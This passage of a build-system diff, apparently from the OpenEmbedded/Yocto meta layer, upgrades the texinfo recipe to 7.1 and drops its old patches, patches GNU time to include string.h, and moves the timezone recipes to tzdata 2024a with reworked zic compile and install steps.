- AM_CONDITIONAL(TOOLS_ONLY, [[test "x$tools_only" = x1]])
-
diff --git a/meta/recipes-extended/texinfo/texinfo/dont-depend-on-help2man.patch b/meta/recipes-extended/texinfo/texinfo/dont-depend-on-help2man.patch
deleted file mode 100644
index 0d6bbafadd..0000000000
--- a/meta/recipes-extended/texinfo/texinfo/dont-depend-on-help2man.patch
+++ /dev/null
@@ -1,66 +0,0 @@
-From 63a803ead3656353329a801846a9a3beb7210c46 Mon Sep 17 00:00:00 2001
-From: Edwin Plauchu <edwin.plauchu.camacho@intel.com>
-Date: Tue, 29 Nov 2016 13:43:24 -0600
-Subject: [PATCH] dont-depend-on-help2man
-
-Upstream-Status: Inappropriate
-
-Signed-off-by: Marko Lindqvist <cazfi74@gmail.com>
-Signed-off-by: Edwin Plauchu <edwin.plauchu.camacho@intel.com>
-
----
- doc/Makefile.am | 2 +-
- man/Makefile.am | 12 ++++++------
- 2 files changed, 7 insertions(+), 7 deletions(-)
-
-diff --git a/doc/Makefile.am b/doc/Makefile.am
-index 732833e..041cb9b 100644
---- a/doc/Makefile.am
-+++ b/doc/Makefile.am
-@@ -37,7 +37,7 @@ refcard_files = refcard/Makefile refcard/txicmdcheck \
- # Include our texinfo.tex, not Automake's.
- EXTRA_DIST = epsf.tex texinfo.tex \
- fdl.texi \
-- $(man_MANS) $(TXI_XLATE) \
-+ $(TXI_XLATE) \
- $(refcard_files) \
- texinfo-tex-test.texi texinfo-tex-test.WIDOWs \
- texinfo-ja.tex short-sample-ja.texi
-diff --git a/man/Makefile.am b/man/Makefile.am
-index d0cd72c..a19e52a 100644
---- a/man/Makefile.am
-+++ b/man/Makefile.am
-@@ -11,27 +11,27 @@
- # implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
-
- # These are generated using help2man.
--man_MANS = install-info.1 makeinfo.1 texindex.1 texi2dvi.1
-+#man_MANS = install-info.1 makeinfo.1 texindex.1 texi2dvi.1
-
- # These require the build in info/, thus can't do if we failed to find a
- # terminal library.
- if HAVE_TERMLIBS
--man_MANS += info.1
-+#man_MANS += info.1
- endif
-
- # These are hand-written.
--man_MANS += info.5 texinfo.5
-+#man_MANS += info.5 texinfo.5
-
--man_MANS += pod2texi.1
-+#man_MANS += pod2texi.1
-
- pod2texi.1: $(top_srcdir)/Pod-Simple-Texinfo/pod2texi.pl
- $(POD2MAN) $(top_srcdir)/Pod-Simple-Texinfo/pod2texi.pl >"$@"
-
-
- # These are just .so's to the common program.
--man_MANS += texi2any.1 texi2pdf.1 pdftexi2dvi.1
-+#man_MANS += texi2any.1 texi2pdf.1 pdftexi2dvi.1
-
--EXTRA_DIST = $(man_MANS) ginfo.h2m
-+EXTRA_DIST = ginfo.h2m
-
- # Maintainers should be able to regenerate.
- MAINTAINERCLEANFILES = $(man_MANS)
diff --git a/meta/recipes-extended/texinfo/texinfo/link-zip.patch b/meta/recipes-extended/texinfo/texinfo/link-zip.patch
deleted file mode 100644
index 15c030c0c6..0000000000
--- a/meta/recipes-extended/texinfo/texinfo/link-zip.patch
+++ /dev/null
@@ -1,23 +0,0 @@
-From c1002138033fcccb2d1abfc41f5c2e46c836f7a0 Mon Sep 17 00:00:00 2001
-From: Joshua Lock <josh@linux.intel.com>
-Date: Mon, 29 Jul 2013 15:02:34 -0700
-Subject: [PATCH] install-info uses symbols from zlib so must link against it.
-
-Upstream-Status: Pending
-
-Signed-off-by: Joshua Lock <josh@linux.intel.com>
-
----
- install-info/Makefile.am | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/install-info/Makefile.am b/install-info/Makefile.am
-index 9bcff71..68247f9 100644
---- a/install-info/Makefile.am
-+++ b/install-info/Makefile.am
-@@ -33,4 +33,4 @@ AM_CPPFLAGS = \
- -I$(top_srcdir)/gnulib/lib \
- -I$(top_builddir)/gnulib/lib \
- -DLOCALEDIR=\"$(localedir)\"
--LDADD = $(top_builddir)/gnulib/lib/libgnu.a $(LIBINTL) $(LIBTHREAD)
-+LDADD = $(top_builddir)/gnulib/lib/libgnu.a $(LIBINTL) $(LIBTHREAD) -lz
diff --git a/meta/recipes-extended/texinfo/texinfo/texinfo-4.12-zlib.patch b/meta/recipes-extended/texinfo/texinfo/texinfo-4.12-zlib.patch
deleted file mode 100644
index f72097e639..0000000000
--- a/meta/recipes-extended/texinfo/texinfo/texinfo-4.12-zlib.patch
+++ /dev/null
@@ -1,254 +0,0 @@
-From 3d3b66cf398853c666e724c3dbcc37d53a2240d5 Mon Sep 17 00:00:00 2001
-From: Edwin Plauchu <edwin.plauchu.camacho@intel.com>
-Date: Tue, 29 Nov 2016 12:27:17 -0600
-Subject: [PATCH] texinfo-4.12-zlib
-
-Upstream-Status: Pending
-
-Signed-off-by: Jussi Kukkonen <jussi.kukkonen@intel.com>
-Signed-off-by: Edwin Plauchu <edwin.plauchu.camacho@intel.com>
-
----
- install-info/Makefile.in | 2 +-
- install-info/install-info.c | 79 ++++++++++++++++++++++---------------
- 2 files changed, 48 insertions(+), 33 deletions(-)
-
-diff --git a/install-info/Makefile.in b/install-info/Makefile.in
-index c924509..746df05 100644
---- a/install-info/Makefile.in
-+++ b/install-info/Makefile.in
-@@ -218,7 +218,7 @@ am__installdirs = "$(DESTDIR)$(bindir)" "$(DESTDIR)$(bindir)"
- PROGRAMS = $(bin_PROGRAMS)
- am_ginstall_info_OBJECTS = install-info.$(OBJEXT)
- ginstall_info_OBJECTS = $(am_ginstall_info_OBJECTS)
--ginstall_info_LDADD = $(LDADD)
-+ginstall_info_LDADD = $(LDADD) -lz
- am__DEPENDENCIES_1 =
- ginstall_info_DEPENDENCIES = $(top_builddir)/gnulib/lib/libgnu.a \
- $(am__DEPENDENCIES_1) $(am__DEPENDENCIES_1)
-diff --git a/install-info/install-info.c b/install-info/install-info.c
-index 21f4fe3..a7aba82 100644
---- a/install-info/install-info.c
-+++ b/install-info/install-info.c
-@@ -19,6 +19,7 @@
- #include <getopt.h>
- #include <regex.h>
- #include <argz.h>
-+#include <zlib.h>
-
- #define TAB_WIDTH 8
-
-@@ -681,15 +682,15 @@ The first time you invoke Info you start off looking at this node.\n\
-
- Return either stdin reading the file, or a non-stdin pipe reading
- the output of the compression program. */
--FILE *
-+void *
- open_possibly_compressed_file (char *filename,
- void (*create_callback) (char *),
-- char **opened_filename, char **compression_program)
-+ char **opened_filename, char **compression_program, int *is_pipe)
- {
- char *local_opened_filename, *local_compression_program;
- int nread;
- char data[13];
-- FILE *f;
-+ gzFile *f;
-
- /* We let them pass NULL if they don't want this info, but it's easier
- to always determine it. */
-@@ -697,48 +698,48 @@ open_possibly_compressed_file (char *filename,
- opened_filename = &local_opened_filename;
-
- *opened_filename = filename;
-- f = fopen (*opened_filename, FOPEN_RBIN);
-+ f = gzopen (*opened_filename, FOPEN_RBIN);
- if (!f)
- {
- *opened_filename = concat (filename, ".gz", "");
-- f = fopen (*opened_filename, FOPEN_RBIN);
-+ f = gzopen (*opened_filename, FOPEN_RBIN);
- }
- if (!f)
- {
- free (*opened_filename);
- *opened_filename = concat (filename, ".xz", "");
-- f = fopen (*opened_filename, FOPEN_RBIN);
-+ f = gzopen (*opened_filename, FOPEN_RBIN);
- }
- if (!f)
- {
- free (*opened_filename);
- *opened_filename = concat (filename, ".bz2", "");
-- f = fopen (*opened_filename, FOPEN_RBIN);
-+ f = gzopen (*opened_filename, FOPEN_RBIN);
- }
- if (!f)
- {
- free (*opened_filename);
- *opened_filename = concat (filename, ".lz", "");
-- f = fopen (*opened_filename, FOPEN_RBIN);
-+ f = gzopen (*opened_filename, FOPEN_RBIN);
- }
- if (!f)
- {
- free (*opened_filename);
- *opened_filename = concat (filename, ".lzma", "");
-- f = fopen (*opened_filename, FOPEN_RBIN);
-+ f = gzopen (*opened_filename, FOPEN_RBIN);
- }
- #ifdef __MSDOS__
- if (!f)
- {
- free (*opened_filename);
- *opened_filename = concat (filename, ".igz", "");
-- f = fopen (*opened_filename, FOPEN_RBIN);
-+ f = gzopen (*opened_filename, FOPEN_RBIN);
- }
- if (!f)
- {
- free (*opened_filename);
- *opened_filename = concat (filename, ".inz", "");
-- f = fopen (*opened_filename, FOPEN_RBIN);
-+ f = gzopen (*opened_filename, FOPEN_RBIN);
- }
- #endif /* __MSDOS__ */
- if (!f)
-@@ -754,7 +755,7 @@ open_possibly_compressed_file (char *filename,
- (*create_callback) (filename);
-
- /* And try opening it again. */
-- f = fopen (*opened_filename, FOPEN_RBIN);
-+ f = gzopen (*opened_filename, FOPEN_RBIN);
- if (!f)
- return 0;
- }
-@@ -764,26 +765,26 @@ open_possibly_compressed_file (char *filename,
-
- /* Read first few bytes of file rather than relying on the filename.
- If the file is shorter than this it can't be usable anyway. */
-- nread = fread (data, sizeof (data), 1, f);
-- if (nread != 1)
-+ nread = gzread (f, data, sizeof (data));
-+ if (nread != sizeof (data))
- {
-- if (nread == 0)
-+ if (nread >= 0)
- {
- /* Try to create the file if its empty. */
-- if (feof (f) && create_callback)
-+ if (gzeof(f) && create_callback)
- {
-- if (fclose (f) != 0)
-+ if (gzclose(f) != 0)
- return 0; /* unknown error closing file */
-
-- if (remove (filename) != 0)
-+ if (remove(filename) != 0)
- return 0; /* unknown error deleting file */
-
- (*create_callback) (filename);
-- f = fopen (*opened_filename, FOPEN_RBIN);
-+ f = gzopen (*opened_filename, FOPEN_RBIN);
- if (!f)
- return 0;
-- nread = fread (data, sizeof (data), 1, f);
-- if (nread == 0)
-+ nread = gzread(f, data, sizeof (data));
-+ if (nread >= 0)
- return 0;
- goto determine_file_type; /* success */
- }
-@@ -854,35 +855,40 @@ determine_file_type:
- *compression_program = NULL;
-
- /* Seek back over the magic bytes. */
-- if (fseek (f, 0, 0) < 0)
-+ if (gzseek (f, 0, SEEK_SET) == -1)
- return 0;
-
- if (*compression_program)
- { /* It's compressed, so open a pipe. */
-+ FILE *p;
- char *command = concat (*compression_program, " -d", "");
-
-- if (fclose (f) < 0)
-+ if (gzclose (f) < 0)
- return 0;
-- f = freopen (*opened_filename, FOPEN_RBIN, stdin);
-- if (!f)
-+ p = freopen (*opened_filename, FOPEN_RBIN, stdin);
-+ if (!p)
- return 0;
-- f = popen (command, "r");
-- if (!f)
-+ p = popen (command, "r");
-+ if (!p)
- {
- /* Used for error message in calling code. */
- *opened_filename = command;
- return 0;
- }
-+ else
-+ *is_pipe = 1;
-+ return p;
- }
- else
- {
--#if O_BINARY
-+#if 0 && O_BINARY
- /* Since this is a text file, and we opened it in binary mode,
- switch back to text mode. */
- f = freopen (*opened_filename, "r", f);
- if (! f)
- return 0;
- #endif
-+ *is_pipe = 0;
- }
-
- return f;
-@@ -901,7 +907,8 @@ readfile (char *filename, int *sizep,
- void (*create_callback) (char *), char **opened_filename,
- char **compression_program)
- {
-- FILE *f;
-+ void *f;
-+ int pipe_p;
- int filled = 0;
- int data_size = 8192;
- char *data = xmalloc (data_size);
-@@ -909,14 +916,20 @@ readfile (char *filename, int *sizep,
- /* If they passed the space for the file name to return, use it. */
- f = open_possibly_compressed_file (filename, create_callback,
- opened_filename,
-- compression_program);
-+ compression_program,
-+ &pipe_p);
-
- if (!f)
- return 0;
-
- for (;;)
- {
-- int nread = fread (data + filled, 1, data_size - filled, f);
-+ int nread;
-+
-+ if (pipe_p)
-+ nread = fread (data + filled, 1, data_size - filled, f);
-+ else
-+ nread = gzread (f, data + filled, data_size - filled);
- if (nread < 0)
- return 0;
- if (nread == 0)
-@@ -935,8 +948,10 @@ readfile (char *filename, int *sizep,
- /* We need to close the stream, since on some systems the pipe created
- by popen is simulated by a temporary file which only gets removed
- inside pclose. */
-- if (f != stdin)
-+ if (pipe_p)
- pclose (f);
-+ else
-+ gzclose (f);
-
- *sizep = filled;
- return data;
diff --git a/meta/recipes-extended/texinfo/texinfo/use_host_makedoc.patch b/meta/recipes-extended/texinfo/texinfo/use_host_makedoc.patch
deleted file mode 100644
index 5b7f32d9a9..0000000000
--- a/meta/recipes-extended/texinfo/texinfo/use_host_makedoc.patch
+++ /dev/null
@@ -1,17 +0,0 @@
-Upstream-Status: Inappropriate [cross build specific]
-
-Signed-off-by: Saul Wold <sgw@linux.intel.com>
-
-Index: texinfo-5.1/info/Makefile.am
-===================================================================
---- texinfo-5.1.orig/info/Makefile.am
-+++ texinfo-5.1/info/Makefile.am
-@@ -76,7 +76,7 @@ cmd_sources = $(srcdir)/session.c $(srcd
- # more than once.
- funs.h: makedoc$(EXEEXT) $(cmd_sources)
- rm -f $(generated_sources)
-- $(top_builddir)/$(native_tools)/info/makedoc $(cmd_sources)
-+ makedoc $(cmd_sources)
-
- # The following hack is necessary to hint make before the automatic
- # dependencies are built.
diff --git a/meta/recipes-extended/texinfo/texinfo_6.7.bb b/meta/recipes-extended/texinfo/texinfo_6.7.bb
deleted file mode 100644
index d421b79a0b..0000000000
--- a/meta/recipes-extended/texinfo/texinfo_6.7.bb
+++ /dev/null
@@ -1,91 +0,0 @@
-SUMMARY = "Documentation system for on-line information and printed output"
-DESCRIPTION = "Texinfo is a documentation system that can produce both \
-online information and printed output from a single source file. The \
-GNU Project uses the Texinfo file format for most of its documentation."
-HOMEPAGE = "http://www.gnu.org/software/texinfo/"
-SECTION = "console/utils"
-LICENSE = "GPLv3+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464"
-
-PROVIDES_append_class-native = " texinfo-replacement-native"
-
-def compress_pkg(d):
- if bb.data.inherits_class('compress_doc', d):
- compress = d.getVar("DOC_COMPRESS")
- if compress == "gz":
- return "gzip"
- elif compress == "bz2":
- return "bzip2"
- elif compress == "xz":
- return "xz"
- return ""
-
-RDEPENDS_info += "${@compress_pkg(d)}"
-
-DEPENDS = "zlib ncurses texinfo-replacement-native"
-DEPENDS_class-native = "zlib-native ncurses-native"
-
-TARGET_PATCH = "file://use_host_makedoc.patch"
-TARGET_PATCH_class-native = ""
-
-SRC_URI = "${GNU_MIRROR}/texinfo/${BP}.tar.gz \
- file://texinfo-4.12-zlib.patch \
- file://disable-native-tools.patch \
- file://link-zip.patch \
- file://dont-depend-on-help2man.patch \
- ${TARGET_PATCH} \
- "
-
-SRC_URI[md5sum] = "f0c1782f68ef73738d74bd1e9e30793a"
-SRC_URI[sha256sum] = "a52d05076b90032cb2523673c50e53185938746482cf3ca0213e9b4b50ac2d3e"
-
-tex_texinfo = "texmf/tex/texinfo"
-
-inherit gettext autotools multilib_script
-
-MULTILIB_SCRIPTS = "${PN}:${bindir}/texi2any"
-
-EXTRA_AUTORECONF += "-I ${S}/gnulib/m4"
-
-do_configure_prepend () {
- # autotools_do_configure updates po/Makefile.in.in, we also need
- # update po_document.
- cp -f ${STAGING_DATADIR_NATIVE}/gettext/po/Makefile.in.in ${S}/po_document/
-}
-
-do_compile_prepend() {
- if [ -d tools ];then
- oe_runmake -C tools/gnulib/lib
- fi
-}
-
-do_install_append() {
- mkdir -p ${D}${datadir}/${tex_texinfo}
- install -p -m644 ${S}/doc/texinfo.tex ${S}/doc/txi-??.tex ${D}${datadir}/${tex_texinfo}
- sed -i -e '1s,#!.*perl,#! ${USRBINPATH}/env perl,' ${D}${bindir}/texi2any ${D}${bindir}/pod2texi
-}
-
-do_install_append_class-native() {
- install -m 755 info/makedoc ${D}${bindir}
-}
-
-PACKAGES += "info info-doc"
-
-FILES_info = "${bindir}/info ${bindir}/infokey ${bindir}/install-info"
-FILES_info-doc = "${infodir}/info.info* ${infodir}/dir ${infodir}/info-*.info* \
- ${mandir}/man1/info.1* ${mandir}/man5/info.5* \
- ${mandir}/man1/infokey.1* ${mandir}/man1/install-info.1*"
-
-FILES_${PN} = "${bindir}/makeinfo ${bindir}/texi* ${bindir}/pdftexi2dvi ${bindir}/pod2texi ${datadir}/texinfo"
-RDEPENDS_${PN} = "perl"
-FILES_${PN}-doc = "${infodir}/texinfo* \
- ${datadir}/${tex_texinfo} \
- ${mandir}/man1 ${mandir}/man5"
-
-# Lie about providing the Locale::gettext_xs module. It is not actually built,
-# but the code will test for it and if not found use Locale::gettext_pp instead.
-# However, this causes a file dependency on perl(Locale::gettext_xs) to be
-# generated, which must be satisfied.
-RPROVIDES_${PN} += "perl(Locale::gettext_xs)"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/texinfo/texinfo_7.1.bb b/meta/recipes-extended/texinfo/texinfo_7.1.bb
new file mode 100644
index 0000000000..65d8252fb9
--- /dev/null
+++ b/meta/recipes-extended/texinfo/texinfo_7.1.bb
@@ -0,0 +1,90 @@
+SUMMARY = "Documentation system for on-line information and printed output"
+DESCRIPTION = "Texinfo is a documentation system that can produce both \
+online information and printed output from a single source file. The \
+GNU Project uses the Texinfo file format for most of its documentation."
+HOMEPAGE = "http://www.gnu.org/software/texinfo/"
+SECTION = "console/utils"
+LICENSE = "GPL-3.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464"
+
+PROVIDES:append:class-native = " texinfo-replacement-native"
+
+def compress_pkg(d):
+ if bb.data.inherits_class('compress_doc', d):
+ compress = d.getVar("DOC_COMPRESS")
+ if compress == "gz":
+ return "gzip"
+ elif compress == "bz2":
+ return "bzip2"
+ elif compress == "xz":
+ return "xz"
+ return ""
+
+RDEPENDS:info += "${@compress_pkg(d)}"
+
+DEPENDS = "zlib ncurses texinfo-replacement-native"
+DEPENDS:class-native = "zlib-native ncurses-native"
+
+TARGET_PATCH = "file://0003-texinfo-Update-to-5.1.patch"
+TARGET_PATCH:class-native = ""
+
+SRC_URI = "${GNU_MIRROR}/texinfo/${BP}.tar.gz \
+ file://0001-texinfo-several-changes-to-build-without-zlib-and-nc.patch \
+ file://0002-dont-depend-on-help2man.patch \
+ ${TARGET_PATCH} \
+ "
+
+SRC_URI[sha256sum] = "dd5710b3a53ac002644677a06145748e260592a35be182dc830ebebb79c5d5a0"
+
+tex_texinfo = "texmf/tex/texinfo"
+
+inherit gettext autotools multilib_script
+
+MULTILIB_SCRIPTS = "${PN}:${bindir}/texi2any"
+
+EXTRA_AUTORECONF += "-I ${S}/gnulib/m4"
+CACHED_CONFIGUREVARS += "texinfo_cv_sys_iconv_converts_euc_cn=yes"
+
+do_configure:prepend () {
+ # autotools_do_configure updates po/Makefile.in.in, we also need
+ # update po_document.
+ cp -f ${STAGING_DATADIR_NATIVE}/gettext/po/Makefile.in.in ${S}/po_document/
+}
+
+do_compile:prepend() {
+ if [ -d tools ];then
+ oe_runmake -C tools/gnulib/lib
+ fi
+}
+
+do_install:append() {
+ mkdir -p ${D}${datadir}/${tex_texinfo}
+ install -p -m644 ${S}/doc/texinfo.tex ${S}/doc/txi-??.tex ${D}${datadir}/${tex_texinfo}
+ sed -i -e '1s,#!.*perl,#! ${USRBINPATH}/env perl,' ${D}${bindir}/texi2any ${D}${bindir}/pod2texi
+ sed -i -e 's,${HOSTTOOLS_DIR},,' ${D}${bindir}/texindex
+}
+
+do_install:append:class-native() {
+ install -m 755 info/makedoc ${D}${bindir}
+}
+
+PACKAGES += "info info-doc"
+
+FILES:info = "${bindir}/info ${bindir}/infokey ${bindir}/install-info"
+FILES:info-doc = "${infodir}/info.info* ${infodir}/dir ${infodir}/info-*.info* \
+ ${mandir}/man1/info.1* ${mandir}/man5/info.5* \
+ ${mandir}/man1/infokey.1* ${mandir}/man1/install-info.1*"
+
+FILES:${PN} = "${bindir}/makeinfo ${bindir}/texi* ${bindir}/pdftexi2dvi ${bindir}/pod2texi ${datadir}/texinfo"
+RDEPENDS:${PN} = "perl"
+FILES:${PN}-doc = "${infodir}/texi* \
+ ${datadir}/${tex_texinfo} \
+ ${mandir}/man1 ${mandir}/man5"
+
+# Lie about providing the Locale::gettext_xs module. It is not actually built,
+# but the code will test for it and if not found use Locale::gettext_pp instead.
+# However, this causes a file dependency on perl(Locale::gettext_xs) to be
+# generated, which must be satisfied.
+RPROVIDES:${PN} += "perl(Locale::gettext_xs)"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/time/time/0001-include-string.h-for-memset.patch b/meta/recipes-extended/time/time/0001-include-string.h-for-memset.patch
new file mode 100644
index 0000000000..f6ea212667
--- /dev/null
+++ b/meta/recipes-extended/time/time/0001-include-string.h-for-memset.patch
@@ -0,0 +1,27 @@
+From c8deae54f92d636878097063b411af9fb5262ad3 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Mon, 15 Aug 2022 07:24:24 -0700
+Subject: [PATCH] include string.h for memset()
+
+Fixes implicit function declaration warning e.g.
+
+resuse.c:103:3: error: call to undeclared library function 'memset' with type 'void *(void *, int, unsigned long)'
+
+Upstream-Status: Submitted [https://lists.gnu.org/archive/html/bug-time/2022-08/msg00001.html]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ src/resuse.c | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/src/resuse.c b/src/resuse.c
+index cf5a08c..9d3d18a 100644
+--- a/src/resuse.c
++++ b/src/resuse.c
+@@ -22,6 +22,7 @@
+ */
+
+ #include "config.h"
++#include <string.h>
+ #include <sys/time.h>
+ #include <sys/wait.h>
+ #include <sys/resource.h>
diff --git a/meta/recipes-extended/time/time_1.9.bb b/meta/recipes-extended/time/time_1.9.bb
index e2b084caae..8364210e61 100644
--- a/meta/recipes-extended/time/time_1.9.bb
+++ b/meta/recipes-extended/time/time_1.9.bb
@@ -3,17 +3,19 @@ DESCRIPTION = "time measures many of the CPU resources, such as time and \
memory, that other programs use."
HOMEPAGE = "http://www.gnu.org/software/time/"
SECTION = "utils"
-LICENSE = "GPLv3"
+LICENSE = "GPL-3.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
inherit texinfo update-alternatives
-ALTERNATIVE_${PN} = "time"
+ALTERNATIVE:${PN} = "time"
ALTERNATIVE_PRIORITY = "100"
BBCLASSEXTEND = "native nativesdk"
-SRC_URI = "${GNU_MIRROR}/time/time-${PV}.tar.gz"
+SRC_URI = "${GNU_MIRROR}/time/time-${PV}.tar.gz \
+ file://0001-include-string.h-for-memset.patch \
+ "
SRC_URI[md5sum] = "d2356e0fe1c0b85285d83c6b2ad51b5f"
SRC_URI[sha256sum] = "fbacf0c81e62429df3e33bda4cee38756604f18e01d977338e23306a3e3b521e"
diff --git a/meta/recipes-extended/timezone/timezone.inc b/meta/recipes-extended/timezone/timezone.inc
index 32723f3dec..4734adcc08 100644
--- a/meta/recipes-extended/timezone/timezone.inc
+++ b/meta/recipes-extended/timezone/timezone.inc
@@ -3,18 +3,18 @@ DESCRIPTION = "The Time Zone Database contains code and data that represent \
the history of local time for many representative locations around the globe."
HOMEPAGE = "http://www.iana.org/time-zones"
SECTION = "base"
-LICENSE = "PD & BSD & BSD-3-Clause"
+LICENSE = "PD & BSD-3-Clause"
LIC_FILES_CHKSUM = "file://LICENSE;md5=c679c9d6b02bc2757b3eaf8f53c43fba"
-PV = "2020a"
+PV = "2024a"
-SRC_URI =" http://www.iana.org/time-zones/repository/releases/tzcode${PV}.tar.gz;name=tzcode \
- http://www.iana.org/time-zones/repository/releases/tzdata${PV}.tar.gz;name=tzdata \
+SRC_URI =" http://www.iana.org/time-zones/repository/releases/tzcode${PV}.tar.gz;name=tzcode;subdir=tz \
+ http://www.iana.org/time-zones/repository/releases/tzdata${PV}.tar.gz;name=tzdata;subdir=tz \
"
+S = "${WORKDIR}/tz"
+
UPSTREAM_CHECK_URI = "http://www.iana.org/time-zones"
-SRC_URI[tzcode.md5sum] = "f87c3477e85a5c4b00df0def6c6a0055"
-SRC_URI[tzcode.sha256sum] = "7d2af7120ee03df71fbca24031ccaf42404752e639196fe93c79a41b38a6d669"
-SRC_URI[tzdata.md5sum] = "96a985bb8eeab535fb8aa2132296763a"
-SRC_URI[tzdata.sha256sum] = "547161eca24d344e0b5f96aff6a76b454da295dc14ed4ca50c2355043fb899a2"
+SRC_URI[tzcode.sha256sum] = "80072894adff5a458f1d143e16e4ca1d8b2a122c9c5399da482cb68cba6a1ff8"
+SRC_URI[tzdata.sha256sum] = "0d0434459acbd2059a7a8da1f3304a84a86591f6ed69c6248fffa502b6edffe3"
diff --git a/meta/recipes-extended/timezone/tzcode-native.bb b/meta/recipes-extended/timezone/tzcode-native.bb
index e3582ba674..d0b23a9d80 100644
--- a/meta/recipes-extended/timezone/tzcode-native.bb
+++ b/meta/recipes-extended/timezone/tzcode-native.bb
@@ -1,10 +1,7 @@
require timezone.inc
-#
SUMMARY = "tzcode, timezone zoneinfo utils -- zic, zdump, tzselect"
-S = "${WORKDIR}"
-
inherit native
EXTRA_OEMAKE += "cc='${CC}'"
diff --git a/meta/recipes-extended/timezone/tzdata.bb b/meta/recipes-extended/timezone/tzdata.bb
index 1e2b440fb0..dd1960ffa7 100644
--- a/meta/recipes-extended/timezone/tzdata.bb
+++ b/meta/recipes-extended/timezone/tzdata.bb
@@ -4,203 +4,201 @@ DEPENDS = "tzcode-native"
inherit allarch
-RCONFLICTS_${PN} = "timezones timezone-africa timezone-america timezone-antarctica \
- timezone-arctic timezone-asia timezone-atlantic \
- timezone-australia timezone-europe timezone-indian \
- timezone-iso3166.tab timezone-pacific timezone-zone.tab"
-
-S = "${WORKDIR}"
-
DEFAULT_TIMEZONE ?= "Universal"
INSTALL_TIMEZONE_FILE ?= "1"
-TZONES= "africa antarctica asia australasia europe northamerica southamerica \
- factory etcetera backward systemv \
- "
-# pacificnew
-
-do_compile () {
- for zone in ${TZONES}; do \
- ${STAGING_BINDIR_NATIVE}/zic -d ${WORKDIR}${datadir}/zoneinfo -L /dev/null \
- -y ${S}/yearistype.sh ${S}/${zone} ; \
- ${STAGING_BINDIR_NATIVE}/zic -d ${WORKDIR}${datadir}/zoneinfo/posix -L /dev/null \
- -y ${S}/yearistype.sh ${S}/${zone} ; \
- ${STAGING_BINDIR_NATIVE}/zic -d ${WORKDIR}${datadir}/zoneinfo/right -L ${S}/leapseconds \
- -y ${S}/yearistype.sh ${S}/${zone} ; \
- done
+TZONES = " \
+ africa antarctica asia australasia europe northamerica southamerica \
+ factory etcetera backward \
+"
+
+# "slim" is the default since 2020b
+# "fat" is needed by e.g. MariaDB's mysql_tzinfo_to_sql
+ZIC_FMT ?= "slim"
+
+do_configure[cleandirs] = "${B}"
+B = "${WORKDIR}/build"
+
+do_compile() {
+ for zone in ${TZONES}; do
+ ${STAGING_BINDIR_NATIVE}/zic -b ${ZIC_FMT} -d ${B}/zoneinfo -L /dev/null ${S}/${zone}
+ ${STAGING_BINDIR_NATIVE}/zic -b ${ZIC_FMT} -d ${B}/zoneinfo/posix -L /dev/null ${S}/${zone}
+ ${STAGING_BINDIR_NATIVE}/zic -b ${ZIC_FMT} -d ${B}/zoneinfo/right -L ${S}/leapseconds ${S}/${zone}
+ done
}
-do_install () {
- install -d ${D}/$exec_prefix ${D}${datadir}/zoneinfo
- cp -pPR ${S}/$exec_prefix ${D}/
- # libc is removing zoneinfo files from package
- cp -pP "${S}/zone.tab" ${D}${datadir}/zoneinfo
- cp -pP "${S}/zone1970.tab" ${D}${datadir}/zoneinfo
- cp -pP "${S}/iso3166.tab" ${D}${datadir}/zoneinfo
-
- # Install default timezone
- if [ -e ${D}${datadir}/zoneinfo/${DEFAULT_TIMEZONE} ]; then
- install -d ${D}${sysconfdir}
- if [ "${INSTALL_TIMEZONE_FILE}" = "1" ]; then
- echo ${DEFAULT_TIMEZONE} > ${D}${sysconfdir}/timezone
- fi
- ln -s ${datadir}/zoneinfo/${DEFAULT_TIMEZONE} ${D}${sysconfdir}/localtime
- else
- bberror "DEFAULT_TIMEZONE is set to an invalid value."
- exit 1
- fi
-
- chown -R root:root ${D}
+do_install() {
+ install -d ${D}${datadir}/zoneinfo
+ cp -pPR ${B}/zoneinfo/* ${D}${datadir}/zoneinfo
+
+ # libc is removing zoneinfo files from package
+ cp -pP "${S}/zone.tab" ${D}${datadir}/zoneinfo
+ cp -pP "${S}/zone1970.tab" ${D}${datadir}/zoneinfo
+ cp -pP "${S}/iso3166.tab" ${D}${datadir}/zoneinfo
+ cp -pP "${S}/leapseconds" ${D}${datadir}/zoneinfo
+ cp -pP "${S}/leap-seconds.list" ${D}${datadir}/zoneinfo
+
+ # Install default timezone
+ if [ -e ${D}${datadir}/zoneinfo/${DEFAULT_TIMEZONE} ]; then
+ install -d ${D}${sysconfdir}
+ if [ "${INSTALL_TIMEZONE_FILE}" = "1" ]; then
+ echo ${DEFAULT_TIMEZONE} > ${D}${sysconfdir}/timezone
+ fi
+ ln -s ${datadir}/zoneinfo/${DEFAULT_TIMEZONE} ${D}${sysconfdir}/localtime
+ else
+ bberror "DEFAULT_TIMEZONE is set to an invalid value."
+ exit 1
+ fi
+
+ chown -R root:root ${D}
}
-pkg_postinst_${PN} () {
+pkg_postinst:${PN}() {
etc_lt="$D${sysconfdir}/localtime"
src="$D${sysconfdir}/timezone"
- if [ -e ${src} ] ; then
- tz=$(sed -e 's:#.*::' -e 's:[[:space:]]*::g' -e '/^$/d' "${src}")
+ if [ -e "$src" ]; then
+ tz=$(sed -e 's:#.*::' -e 's:[[:space:]]*::g' -e '/^$/d' "$src")
fi
- if [ ! -z "${tz}" -a ! -e "$D${datadir}/zoneinfo/${tz}" ] ; then
- echo "You have an invalid TIMEZONE setting in ${src}"
- echo "Your ${etc_lt} has been reset to Universal; enjoy!"
+ if [ ! -z "$tz" -a ! -e "$D${datadir}/zoneinfo/$tz" ]; then
+ echo "You have an invalid TIMEZONE setting in $src"
+ echo "Your $etc_lt has been reset to Universal; enjoy!"
tz="Universal"
- echo "Updating ${etc_lt} with $D${datadir}/zoneinfo/${tz}"
- if [ -L ${etc_lt} ] ; then
